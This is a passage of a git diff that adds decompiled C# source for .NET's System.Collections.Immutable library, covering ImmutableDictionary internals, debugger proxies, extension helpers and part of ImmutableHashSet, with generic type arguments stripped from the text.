Enumerator(this); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } + + internal HashBucket Add(TKey key, TValue value, IEqualityComparer> keyOnlyComparer, IEqualityComparer valueComparer, KeyCollisionBehavior behavior, out OperationResult result) + { + KeyValuePair keyValuePair = new KeyValuePair(key, value); + if (IsEmpty) + { + result = OperationResult.SizeChanged; + return new HashBucket(keyValuePair); + } + if (keyOnlyComparer.Equals(keyValuePair, _firstValue)) + { + switch (behavior) + { + case KeyCollisionBehavior.SetValue: + result = OperationResult.AppliedWithoutSizeChange; + return new HashBucket(keyValuePair, _additionalElements); + case KeyCollisionBehavior.Skip: + result = OperationResult.NoChangeRequired; + return this; + case KeyCollisionBehavior.ThrowIfValueDifferent: + { + KeyValuePair firstValue = _firstValue; + if (!valueComparer.Equals(firstValue.Value, value)) + { + throw new ArgumentException(System.SR.Format(System.SR.DuplicateKey, key)); + } + result = OperationResult.NoChangeRequired; + return this; + } + case KeyCollisionBehavior.ThrowAlways: + throw new ArgumentException(System.SR.Format(System.SR.DuplicateKey, key)); + default: + throw new InvalidOperationException(); + } + } + int num = _additionalElements.IndexOf(keyValuePair, keyOnlyComparer); + if (num < 0) + { + result = OperationResult.SizeChanged; + return new HashBucket(_firstValue, _additionalElements.Add(keyValuePair)); + } + switch (behavior) + { + case KeyCollisionBehavior.SetValue: + result = OperationResult.AppliedWithoutSizeChange; + return new HashBucket(_firstValue, _additionalElements.ReplaceAt(num, keyValuePair)); + case KeyCollisionBehavior.Skip: + result = OperationResult.NoChangeRequired; + return this; + case KeyCollisionBehavior.ThrowIfValueDifferent: + { + KeyValuePair firstValue = _additionalElements.ItemRef(num); + if (!valueComparer.Equals(firstValue.Value, value)) + { + throw new ArgumentException(System.SR.Format(System.SR.DuplicateKey, key)); + } + result = OperationResult.NoChangeRequired; + return this; + } + case KeyCollisionBehavior.ThrowAlways: + throw new ArgumentException(System.SR.Format(System.SR.DuplicateKey, key)); + default: + throw new InvalidOperationException(); + } + } + + internal HashBucket Remove(TKey key, IEqualityComparer> keyOnlyComparer, out OperationResult result) + { + if (IsEmpty) + { + result = OperationResult.NoChangeRequired; + return this; + } + KeyValuePair keyValuePair = new KeyValuePair(key, default(TValue)); + if (keyOnlyComparer.Equals(_firstValue, keyValuePair)) + { + if (_additionalElements.IsEmpty) + { + result = OperationResult.SizeChanged; + return default(HashBucket); + } + int count = _additionalElements.Left.Count; + result = OperationResult.SizeChanged; + return new HashBucket(_additionalElements.Key, _additionalElements.RemoveAt(count)); + } + int num = _additionalElements.IndexOf(keyValuePair, keyOnlyComparer); + if (num < 0) + { + result = OperationResult.NoChangeRequired; + return this; + } + result = OperationResult.SizeChanged; + return new HashBucket(_firstValue, _additionalElements.RemoveAt(num)); + } + + internal bool TryGetValue(TKey key, Comparers comparers, [MaybeNullWhen(false)] out TValue value) + { + if (IsEmpty) + { + value = default(TValue); + return false; + } + IEqualityComparer keyComparer = comparers.KeyComparer; + KeyValuePair firstValue = _firstValue; + if (keyComparer.Equals(firstValue.Key, key)) + { + firstValue = _firstValue; + value = firstValue.Value; + return true; + } + KeyValuePair item = new KeyValuePair(key, default(TValue)); + int num = _additionalElements.IndexOf(item, comparers.KeyOnlyComparer); + if (num < 0) + { + value = default(TValue); + return false; + } + firstValue = _additionalElements.ItemRef(num); + value = firstValue.Value; + return true; + } + + internal bool TryGetKey(TKey equalKey, Comparers comparers, out TKey actualKey) + { + if (IsEmpty) + { + actualKey = equalKey; + return false; + } + IEqualityComparer keyComparer = comparers.KeyComparer; + KeyValuePair firstValue = _firstValue; + if (keyComparer.Equals(firstValue.Key, equalKey)) + { + firstValue = _firstValue; + actualKey = firstValue.Key; + return true; + } + KeyValuePair item = new KeyValuePair(equalKey, default(TValue)); + int num = _additionalElements.IndexOf(item, comparers.KeyOnlyComparer); + if (num < 0) + { + actualKey = equalKey; + return false; + } + firstValue = _additionalElements.ItemRef(num); + actualKey = firstValue.Key; + return true; + } + + internal void Freeze() + { + _additionalElements?.Freeze(); + } + } + + private readonly struct MutationInput + { + private readonly SortedInt32KeyNode _root; + + private readonly Comparers _comparers; + + internal SortedInt32KeyNode Root => _root; + + internal Comparers Comparers => _comparers; + + internal IEqualityComparer KeyComparer => _comparers.KeyComparer; + + internal IEqualityComparer> KeyOnlyComparer => _comparers.KeyOnlyComparer; + + internal IEqualityComparer ValueComparer => _comparers.ValueComparer; + + internal IEqualityComparer HashBucketComparer => _comparers.HashBucketEqualityComparer; + + internal MutationInput(SortedInt32KeyNode root, Comparers comparers) + { + _root = root; + _comparers = comparers; + } + + internal MutationInput(ImmutableDictionary map) + { + _root = map._root; + _comparers = map._comparers; + } + } + + private readonly struct MutationResult + { + private readonly SortedInt32KeyNode _root; + + private readonly int _countAdjustment; + + internal SortedInt32KeyNode Root => _root; + + internal int CountAdjustment => _countAdjustment; + + internal MutationResult(MutationInput unchangedInput) + { + _root = unchangedInput.Root; + _countAdjustment = 0; + } + + internal MutationResult(SortedInt32KeyNode root, int countAdjustment) + { + Requires.NotNull(root, "root"); + _root = root; + _countAdjustment = countAdjustment; + } + + internal ImmutableDictionary Finalize(ImmutableDictionary priorMap) + { + Requires.NotNull(priorMap, "priorMap"); + return priorMap.Wrap(Root, priorMap._count + CountAdjustment); + } + } + + internal enum KeyCollisionBehavior + { + SetValue, + Skip, + ThrowIfValueDifferent, + ThrowAlways + } + + internal enum OperationResult + { + AppliedWithoutSizeChange, + SizeChanged, + NoChangeRequired + } + + public static readonly ImmutableDictionary Empty = new ImmutableDictionary(); + + private static readonly Action> s_FreezeBucketAction = delegate(KeyValuePair kv) + { + kv.Value.Freeze(); + }; + + private readonly int _count; + + private readonly SortedInt32KeyNode _root; + + private readonly Comparers _comparers; + + public int Count => _count; + + public bool IsEmpty => Count == 0; + + public IEqualityComparer KeyComparer => _comparers.KeyComparer; + + public IEqualityComparer ValueComparer => _comparers.ValueComparer; + + public IEnumerable Keys + { + get + { + foreach (KeyValuePair item in _root) + { + foreach (KeyValuePair item2 in item.Value) + { + yield return item2.Key; + } + } + } + } + + public IEnumerable Values + { + get + { + foreach (KeyValuePair item in _root) + { + foreach (KeyValuePair item2 in item.Value) + { + yield return item2.Value; + } + } + } + } + + ICollection IDictionary.Keys => new KeysCollectionAccessor(this); + + ICollection IDictionary.Values => new ValuesCollectionAccessor(this); + + private MutationInput Origin => new MutationInput(this); + + public TValue this[TKey key] + { + get + { + Requires.NotNullAllowStructs(key, "key"); + if (TryGetValue(key, out var value)) + { + return value; + } + throw new KeyNotFoundException(System.SR.Format(System.SR.Arg_KeyNotFoundWithKey, key.ToString())); + } + } + + TValue IDictionary.this[TKey key] + { + get + { + return this[key]; + } + set + { + throw new NotSupportedException(); + } + } + + bool ICollection>.IsReadOnly => true; + + bool IDictionary.IsFixedSize => true; + + bool IDictionary.IsReadOnly => true; + + ICollection IDictionary.Keys => new KeysCollectionAccessor(this); + + ICollection IDictionary.Values => new ValuesCollectionAccessor(this); + + internal SortedInt32KeyNode Root => _root; + + object? IDictionary.this[object key] + { + get + { + return this[(TKey)key]; + } + set + { + throw new NotSupportedException(); + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot => this; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => true; + + private ImmutableDictionary(SortedInt32KeyNode root, Comparers comparers, int count) + : this(Requires.NotNullPassthrough(comparers, "comparers")) + { + Requires.NotNull(root, "root"); + root.Freeze(s_FreezeBucketAction); + _root = root; + _count = count; + } + + private ImmutableDictionary(Comparers comparers = null) + { + _comparers = comparers ?? Comparers.Get(EqualityComparer.Default, EqualityComparer.Default); + _root = SortedInt32KeyNode.EmptyNode; + } + + public ImmutableDictionary Clear() + { + if (!IsEmpty) + { + return EmptyWithComparers(_comparers); + } + return this; + } + + IImmutableDictionary IImmutableDictionary.Clear() + { + return Clear(); + } + + public Builder ToBuilder() + { + return new Builder(this); + } + + public ImmutableDictionary Add(TKey key, TValue value) + { + Requires.NotNullAllowStructs(key, "key"); + return Add(key, value, KeyCollisionBehavior.ThrowIfValueDifferent, Origin).Finalize(this); + } + + public ImmutableDictionary AddRange(IEnumerable> pairs) + { + Requires.NotNull(pairs, "pairs"); + return AddRange(pairs, avoidToHashMap: false); + } + + public ImmutableDictionary SetItem(TKey key, TValue value) + { + Requires.NotNullAllowStructs(key, "key"); + return Add(key, value, KeyCollisionBehavior.SetValue, Origin).Finalize(this); + } + + public ImmutableDictionary SetItems(IEnumerable> items) + { + Requires.NotNull(items, "items"); + return AddRange(items, Origin, KeyCollisionBehavior.SetValue).Finalize(this); + } + + public ImmutableDictionary Remove(TKey key) + { + Requires.NotNullAllowStructs(key, "key"); + return Remove(key, Origin).Finalize(this); + } + + public ImmutableDictionary RemoveRange(IEnumerable keys) + { + Requires.NotNull(keys, "keys"); + int num = _count; + SortedInt32KeyNode sortedInt32KeyNode = _root; + foreach (TKey key in keys) + { + int hashCode = KeyComparer.GetHashCode(key); + if (sortedInt32KeyNode.TryGetValue(hashCode, out var value)) + { + OperationResult result; + HashBucket newBucket = value.Remove(key, _comparers.KeyOnlyComparer, out result); + sortedInt32KeyNode = UpdateRoot(sortedInt32KeyNode, hashCode, newBucket, _comparers.HashBucketEqualityComparer); + if (result == OperationResult.SizeChanged) + { + num--; + } + } + } + return Wrap(sortedInt32KeyNode, num); + } + + public bool ContainsKey(TKey key) + { + Requires.NotNullAllowStructs(key, "key"); + return ContainsKey(key, Origin); + } + + public bool Contains(KeyValuePair pair) + { + return Contains(pair, Origin); + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + Requires.NotNullAllowStructs(key, "key"); + return TryGetValue(key, Origin, out value); + } + + public bool TryGetKey(TKey equalKey, out TKey actualKey) + { + Requires.NotNullAllowStructs(equalKey, "equalKey"); + return TryGetKey(equalKey, Origin, out actualKey); + } + + public ImmutableDictionary WithComparers(IEqualityComparer? keyComparer, IEqualityComparer? valueComparer) + { + if (keyComparer == null) + { + keyComparer = EqualityComparer.Default; + } + if (valueComparer == null) + { + valueComparer = EqualityComparer.Default; + } + if (KeyComparer == keyComparer) + { + if (ValueComparer == valueComparer) + { + return this; + } + Comparers comparers = _comparers.WithValueComparer(valueComparer); + return new ImmutableDictionary(_root, comparers, _count); + } + Comparers comparers2 = Comparers.Get(keyComparer, valueComparer); + ImmutableDictionary immutableDictionary = new ImmutableDictionary(comparers2); + return immutableDictionary.AddRange(this, avoidToHashMap: true); + } + + public ImmutableDictionary WithComparers(IEqualityComparer? keyComparer) + { + return WithComparers(keyComparer, _comparers.ValueComparer); + } + + public bool ContainsValue(TValue value) + { + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + if (ValueComparer.Equals(value, current.Value)) + { + return true; + } + } + } + return false; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_root); + } + + IImmutableDictionary IImmutableDictionary.Add(TKey key, TValue value) + { + return Add(key, value); + } + + IImmutableDictionary IImmutableDictionary.SetItem(TKey key, TValue value) + { + return SetItem(key, value); + } + + IImmutableDictionary IImmutableDictionary.SetItems(IEnumerable> items) + { + return SetItems(items); + } + + IImmutableDictionary IImmutableDictionary.AddRange(IEnumerable> pairs) + { + return AddRange(pairs); + } + + IImmutableDictionary IImmutableDictionary.RemoveRange(IEnumerable keys) + { + return RemoveRange(keys); + } + + IImmutableDictionary IImmutableDictionary.Remove(TKey key) + { + return Remove(key); + } + + void IDictionary.Add(TKey key, TValue value) + { + throw new NotSupportedException(); + } + + bool IDictionary.Remove(TKey key) + { + throw new NotSupportedException(); + } + + void ICollection>.Add(KeyValuePair item) + { + throw new NotSupportedException(); + } + + void ICollection>.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection>.Remove(KeyValuePair item) + { + throw new NotSupportedException(); + } + + void ICollection>.CopyTo(KeyValuePair[] array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + void IDictionary.Add(object key, object value) + { + throw new NotSupportedException(); + } + + bool IDictionary.Contains(object key) + { + return ContainsKey((TKey)key); + } + + IDictionaryEnumerator IDictionary.GetEnumerator() + { + return new DictionaryEnumerator(GetEnumerator()); + } + + void IDictionary.Remove(object key) + { + throw new NotSupportedException(); + } + + void IDictionary.Clear() + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(Array array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + array.SetValue(new DictionaryEntry(current.Key, current.Value), arrayIndex++); + } + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + if (!IsEmpty) + { + return GetEnumerator(); + } + return Enumerable.Empty>().GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + private static ImmutableDictionary EmptyWithComparers(Comparers comparers) + { + Requires.NotNull(comparers, "comparers"); + if (Empty._comparers != comparers) + { + return new ImmutableDictionary(comparers); + } + return Empty; + } + + private static bool TryCastToImmutableMap(IEnumerable> sequence, [NotNullWhen(true)] out ImmutableDictionary other) + { + other = sequence as ImmutableDictionary; + if (other != null) + { + return true; + } + if (sequence is Builder builder) + { + other = builder.ToImmutable(); + return true; + } + return false; + } + + private static bool ContainsKey(TKey key, MutationInput origin) + { + int hashCode = origin.KeyComparer.GetHashCode(key); + TValue value2; + if (origin.Root.TryGetValue(hashCode, out var value)) + { + return value.TryGetValue(key, origin.Comparers, out value2); + } + return false; + } + + private static bool Contains(KeyValuePair keyValuePair, MutationInput origin) + { + int hashCode = origin.KeyComparer.GetHashCode(keyValuePair.Key); + if (origin.Root.TryGetValue(hashCode, out var value)) + { + if (value.TryGetValue(keyValuePair.Key, origin.Comparers, out var value2)) + { + return origin.ValueComparer.Equals(value2, keyValuePair.Value); + } + return false; + } + return false; + } + + private static bool TryGetValue(TKey key, MutationInput origin, [MaybeNullWhen(false)] out TValue value) + { + int hashCode = origin.KeyComparer.GetHashCode(key); + if (origin.Root.TryGetValue(hashCode, out var value2)) + { + return value2.TryGetValue(key, origin.Comparers, out value); + } + value = default(TValue); + return false; + } + + private static bool TryGetKey(TKey equalKey, MutationInput origin, out TKey actualKey) + { + int hashCode = origin.KeyComparer.GetHashCode(equalKey); + if (origin.Root.TryGetValue(hashCode, out var value)) + { + return value.TryGetKey(equalKey, origin.Comparers, out actualKey); + } + actualKey = equalKey; + return false; + } + + private static MutationResult Add(TKey key, TValue value, KeyCollisionBehavior behavior, MutationInput origin) + { + Requires.NotNullAllowStructs(key, "key"); + int hashCode = origin.KeyComparer.GetHashCode(key); + OperationResult result; + HashBucket newBucket = origin.Root.GetValueOrDefault(hashCode).Add(key, value, origin.KeyOnlyComparer, origin.ValueComparer, behavior, out result); + if (result == OperationResult.NoChangeRequired) + { + return new MutationResult(origin); + } + SortedInt32KeyNode root = UpdateRoot(origin.Root, hashCode, newBucket, origin.HashBucketComparer); + return new MutationResult(root, (result == OperationResult.SizeChanged) ? 1 : 0); + } + + private static MutationResult AddRange(IEnumerable> items, MutationInput origin, KeyCollisionBehavior collisionBehavior = KeyCollisionBehavior.ThrowIfValueDifferent) + { + Requires.NotNull(items, "items"); + int num = 0; + SortedInt32KeyNode sortedInt32KeyNode = origin.Root; + foreach (KeyValuePair item in items) + { + Requires.NotNullAllowStructs(item.Key, "Key"); + int hashCode = origin.KeyComparer.GetHashCode(item.Key); + OperationResult result; + HashBucket newBucket = sortedInt32KeyNode.GetValueOrDefault(hashCode).Add(item.Key, item.Value, origin.KeyOnlyComparer, origin.ValueComparer, collisionBehavior, out result); + sortedInt32KeyNode = UpdateRoot(sortedInt32KeyNode, hashCode, newBucket, origin.HashBucketComparer); + if (result == OperationResult.SizeChanged) + { + num++; + } + } + return new MutationResult(sortedInt32KeyNode, num); + } + + private static MutationResult Remove(TKey key, MutationInput origin) + { + int hashCode = origin.KeyComparer.GetHashCode(key); + if (origin.Root.TryGetValue(hashCode, out var value)) + { + OperationResult result; + SortedInt32KeyNode root = UpdateRoot(origin.Root, hashCode, value.Remove(key, origin.KeyOnlyComparer, out result), origin.HashBucketComparer); + return new MutationResult(root, (result == OperationResult.SizeChanged) ? (-1) : 0); + } + return new MutationResult(origin); + } + + private static SortedInt32KeyNode UpdateRoot(SortedInt32KeyNode root, int hashCode, HashBucket newBucket, IEqualityComparer hashBucketComparer) + { + bool replacedExistingValue; + if (newBucket.IsEmpty) + { + return root.Remove(hashCode, out replacedExistingValue); + } + bool mutated; + return root.SetItem(hashCode, newBucket, hashBucketComparer, out replacedExistingValue, out mutated); + } + + private static ImmutableDictionary Wrap(SortedInt32KeyNode root, Comparers comparers, int count) + { + Requires.NotNull(root, "root"); + Requires.NotNull(comparers, "comparers"); + Requires.Range(count >= 0, "count"); + return new ImmutableDictionary(root, comparers, count); + } + + private ImmutableDictionary Wrap(SortedInt32KeyNode root, int adjustedCountIfDifferentRoot) + { + if (root == null) + { + return Clear(); + } + if (_root != root) + { + if (!root.IsEmpty) + { + return new ImmutableDictionary(root, _comparers, adjustedCountIfDifferentRoot); + } + return Clear(); + } + return this; + } + + private ImmutableDictionary AddRange(IEnumerable> pairs, bool avoidToHashMap) + { + Requires.NotNull(pairs, "pairs"); + if (IsEmpty && !avoidToHashMap && TryCastToImmutableMap(pairs, out var other)) + { + return other.WithComparers(KeyComparer, ValueComparer); + } + return AddRange(pairs, Origin).Finalize(this); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionaryBuilderDebuggerProxy.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionaryBuilderDebuggerProxy.cs new file mode 100644 index 0000000..470b404 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionaryBuilderDebuggerProxy.cs @@ -0,0 +1,20 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace System.Collections.Immutable; + +internal sealed class ImmutableDictionaryBuilderDebuggerProxy where TKey : notnull +{ + private readonly ImmutableDictionary.Builder _map; + + private KeyValuePair[] _contents; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public KeyValuePair[] Contents => _contents ?? (_contents = _map.ToArray(_map.Count)); + + public ImmutableDictionaryBuilderDebuggerProxy(ImmutableDictionary.Builder map) + { + Requires.NotNull(map, "map"); + _map = map; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionaryDebuggerProxy.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionaryDebuggerProxy.cs new file mode 100644 index 0000000..200f5c0 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionaryDebuggerProxy.cs @@ -0,0 +1,11 @@ +using System.Collections.Generic; + +namespace System.Collections.Immutable; + +internal sealed class ImmutableDictionaryDebuggerProxy : ImmutableEnumerableDebuggerProxy> where TKey : notnull +{ + public ImmutableDictionaryDebuggerProxy(IImmutableDictionary dictionary) + : base((IEnumerable>)dictionary) + { + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableEnumerableDebuggerProxy.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableEnumerableDebuggerProxy.cs new file mode 100644 index 0000000..e7b0145 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableEnumerableDebuggerProxy.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; + +namespace System.Collections.Immutable; + +internal class ImmutableEnumerableDebuggerProxy +{ + private readonly IEnumerable _enumerable; + + private T[] _cachedContents; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] Contents => _cachedContents ?? (_cachedContents = _enumerable.ToArray()); + + public ImmutableEnumerableDebuggerProxy(IEnumerable enumerable) + { + Requires.NotNull(enumerable, "enumerable"); + _enumerable = enumerable; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableExtensions.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableExtensions.cs new file mode 100644 index 0000000..4adb02e --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableExtensions.cs @@ -0,0 +1,212 @@ +using System.Collections.Generic; +using System.Linq; + +namespace System.Collections.Immutable; + +internal static class ImmutableExtensions +{ + private sealed class ListOfTWrapper : IOrderedCollection, IEnumerable, IEnumerable + { + private readonly IList _collection; + + public int Count => _collection.Count; + + public T this[int index] => _collection[index]; + + internal ListOfTWrapper(IList collection) + { + Requires.NotNull(collection, "collection"); + _collection = collection; + } + + public IEnumerator GetEnumerator() + { + return _collection.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + private sealed class FallbackWrapper : IOrderedCollection, IEnumerable, IEnumerable + { + private readonly IEnumerable _sequence; + + private IList _collection; + + public int Count + { + get + { + if (_collection == null) + { + if (_sequence.TryGetCount(out var count)) + { + return count; + } + _collection = _sequence.ToArray(); + } + return _collection.Count; + } + } + + public T this[int index] + { + get + { + if (_collection == null) + { + _collection = _sequence.ToArray(); + } + return _collection[index]; + } + } + + internal FallbackWrapper(IEnumerable sequence) + { + Requires.NotNull(sequence, "sequence"); + _sequence = sequence; + } + + public IEnumerator GetEnumerator() + { + return _sequence.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + internal static bool IsValueType() + { + if (default(T) != null) + { + return true; + } + Type typeFromHandle = typeof(T); + if (typeFromHandle.IsConstructedGenericType && typeFromHandle.GetGenericTypeDefinition() == typeof(Nullable<>)) + { + return true; + } + return false; + } + + internal static IOrderedCollection AsOrderedCollection(this IEnumerable sequence) + { + Requires.NotNull(sequence, "sequence"); + if (sequence is IOrderedCollection result) + { + return result; + } + if (sequence is IList collection) + { + return new ListOfTWrapper(collection); + } + return new FallbackWrapper(sequence); + } + + internal static void ClearFastWhenEmpty(this Stack stack) + { + if (stack.Count > 0) + { + stack.Clear(); + } + } + + internal static DisposableEnumeratorAdapter GetEnumerableDisposable(this IEnumerable enumerable) where TEnumerator : struct, IStrongEnumerator, IEnumerator + { + Requires.NotNull(enumerable, "enumerable"); + if (enumerable is IStrongEnumerable strongEnumerable) + { + return new DisposableEnumeratorAdapter(strongEnumerable.GetEnumerator()); + } + return new DisposableEnumeratorAdapter(enumerable.GetEnumerator()); + } + + internal static bool TryGetCount(this IEnumerable sequence, out int count) + { + return ((IEnumerable)sequence).TryGetCount(out count); + } + + internal static bool TryGetCount(this IEnumerable sequence, out int count) + { + if (sequence is ICollection collection) + { + count = collection.Count; + return true; + } + if (sequence is ICollection collection2) + { + count = collection2.Count; + return true; + } + if (sequence is IReadOnlyCollection readOnlyCollection) + { + count = readOnlyCollection.Count; + return true; + } + count = 0; + return false; + } + + internal static int GetCount(ref IEnumerable sequence) + { + if (!sequence.TryGetCount(out var count)) + { + List list = sequence.ToList(); + count = list.Count; + sequence = list; + } + return count; + } + + internal static bool TryCopyTo(this IEnumerable sequence, T[] array, int arrayIndex) + { + if (sequence is IList) + { + if (sequence is List list) + { + list.CopyTo(array, arrayIndex); + return true; + } + if (sequence.GetType() == typeof(T[])) + { + T[] array2 = (T[])sequence; + Array.Copy(array2, 0, array, arrayIndex, array2.Length); + return true; + } + if (sequence is ImmutableArray immutableArray) + { + Array.Copy(immutableArray.array, 0, array, arrayIndex, immutableArray.Length); + return true; + } + } + return false; + } + + internal static T[] ToArray(this IEnumerable sequence, int count) + { + Requires.NotNull(sequence, "sequence"); + Requires.Range(count >= 0, "count"); + if (count == 0) + { + return ImmutableArray.Empty.array; + } + T[] array = new T[count]; + if (!sequence.TryCopyTo(array, 0)) + { + int num = 0; + foreach (T item in sequence) + { + Requires.Argument(num < count); + array[num++] = item; + } + Requires.Argument(num == count); + } + return array; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableHashSet.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableHashSet.cs new file mode 100644 index 0000000..c0e1182 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableHashSet.cs @@ -0,0 +1,1334 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; + +namespace System.Collections.Immutable; + +[DebuggerDisplay("Count = {Count}")] +[DebuggerTypeProxy(typeof(ImmutableEnumerableDebuggerProxy<>))] +public sealed class ImmutableHashSet : IImmutableSet, IReadOnlyCollection, IEnumerable, IEnumerable, IHashKeyCollection, ICollection, ISet, ICollection, IStrongEnumerable.Enumerator> +{ + private sealed class HashBucketByValueEqualityComparer : IEqualityComparer + { + private static readonly IEqualityComparer s_defaultInstance = new HashBucketByValueEqualityComparer(EqualityComparer.Default); + + private readonly IEqualityComparer _valueComparer; + + internal static IEqualityComparer DefaultInstance => s_defaultInstance; + + internal HashBucketByValueEqualityComparer(IEqualityComparer valueComparer) + { + Requires.NotNull(valueComparer, "valueComparer"); + _valueComparer = valueComparer; + } + + public bool Equals(HashBucket x, HashBucket y) + { + return x.EqualsByValue(y, _valueComparer); + } + + public int GetHashCode(HashBucket obj) + { + throw new NotSupportedException(); + } + } + + private sealed class HashBucketByRefEqualityComparer : IEqualityComparer + { + private static readonly IEqualityComparer s_defaultInstance = new HashBucketByRefEqualityComparer(); + + internal static IEqualityComparer DefaultInstance => s_defaultInstance; + + private HashBucketByRefEqualityComparer() + { + } + + public bool Equals(HashBucket x, HashBucket y) + { + return x.EqualsByRef(y); + } + + public int GetHashCode(HashBucket obj) + { + throw new NotSupportedException(); + } + } + + [DebuggerDisplay("Count = {Count}")] + public sealed class Builder : IReadOnlyCollection, IEnumerable, IEnumerable, ISet, ICollection + { + private SortedInt32KeyNode _root = SortedInt32KeyNode.EmptyNode; + + private IEqualityComparer _equalityComparer; + + private readonly IEqualityComparer _hashBucketEqualityComparer; + + private int _count; + + private ImmutableHashSet _immutable; + + private int _version; + + public int Count => _count; + + bool ICollection.IsReadOnly => false; + + public IEqualityComparer KeyComparer + { + get + { + return _equalityComparer; + } + set + { + Requires.NotNull(value, "value"); + if (value != _equalityComparer) + { + MutationResult mutationResult = ImmutableHashSet.Union((IEnumerable)this, new MutationInput(SortedInt32KeyNode.EmptyNode, value, _hashBucketEqualityComparer, 0)); + _immutable = null; + _equalityComparer = value; + Root = mutationResult.Root; + _count = mutationResult.Count; + } + } + } + + internal int Version => _version; + + private MutationInput Origin => new MutationInput(Root, _equalityComparer, _hashBucketEqualityComparer, _count); + + private SortedInt32KeyNode Root + { + get + { + return _root; + } + set + { + _version++; + if (_root != value) + { + _root = value; + _immutable = null; + } + } + } + + internal Builder(ImmutableHashSet set) + { + Requires.NotNull(set, "set"); + _root = set._root; + _count = set._count; + _equalityComparer = set._equalityComparer; + _hashBucketEqualityComparer = set._hashBucketEqualityComparer; + _immutable = set; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_root, this); + } + + public ImmutableHashSet ToImmutable() + { + return _immutable ?? (_immutable = ImmutableHashSet.Wrap(_root, _equalityComparer, _count)); + } + + public bool TryGetValue(T equalValue, out T actualValue) + { + int key = ((equalValue != null) ? _equalityComparer.GetHashCode(equalValue) : 0); + if (_root.TryGetValue(key, out var value)) + { + return value.TryExchange(equalValue, _equalityComparer, out actualValue); + } + actualValue = equalValue; + return false; + } + + public bool Add(T item) + { + MutationResult result = ImmutableHashSet.Add(item, Origin); + Apply(result); + return result.Count != 0; + } + + public bool Remove(T item) + { + MutationResult result = ImmutableHashSet.Remove(item, Origin); + Apply(result); + return result.Count != 0; + } + + public bool Contains(T item) + { + return ImmutableHashSet.Contains(item, Origin); + } + + public void Clear() + { + _count = 0; + Root = SortedInt32KeyNode.EmptyNode; + } + + public void ExceptWith(IEnumerable other) + { + MutationResult result = ImmutableHashSet.Except(other, _equalityComparer, _hashBucketEqualityComparer, _root); + Apply(result); + } + + public void IntersectWith(IEnumerable other) + { + MutationResult result = ImmutableHashSet.Intersect(other, Origin); + Apply(result); + } + + public bool IsProperSubsetOf(IEnumerable other) + { + return ImmutableHashSet.IsProperSubsetOf(other, Origin); + } + + public bool IsProperSupersetOf(IEnumerable other) + { + return ImmutableHashSet.IsProperSupersetOf(other, Origin); + } + + public bool IsSubsetOf(IEnumerable other) + { + return ImmutableHashSet.IsSubsetOf(other, Origin); + } + + public bool IsSupersetOf(IEnumerable other) + { + return ImmutableHashSet.IsSupersetOf(other, Origin); + } + + public bool Overlaps(IEnumerable other) + { + return ImmutableHashSet.Overlaps(other, Origin); + } + + public bool SetEquals(IEnumerable other) + { + if (this == other) + { + return true; + } + return ImmutableHashSet.SetEquals(other, Origin); + } + + public void SymmetricExceptWith(IEnumerable other) + { + MutationResult result = ImmutableHashSet.SymmetricExcept(other, Origin); + Apply(result); + } + + public void UnionWith(IEnumerable other) + { + MutationResult result = ImmutableHashSet.Union(other, Origin); + Apply(result); + } 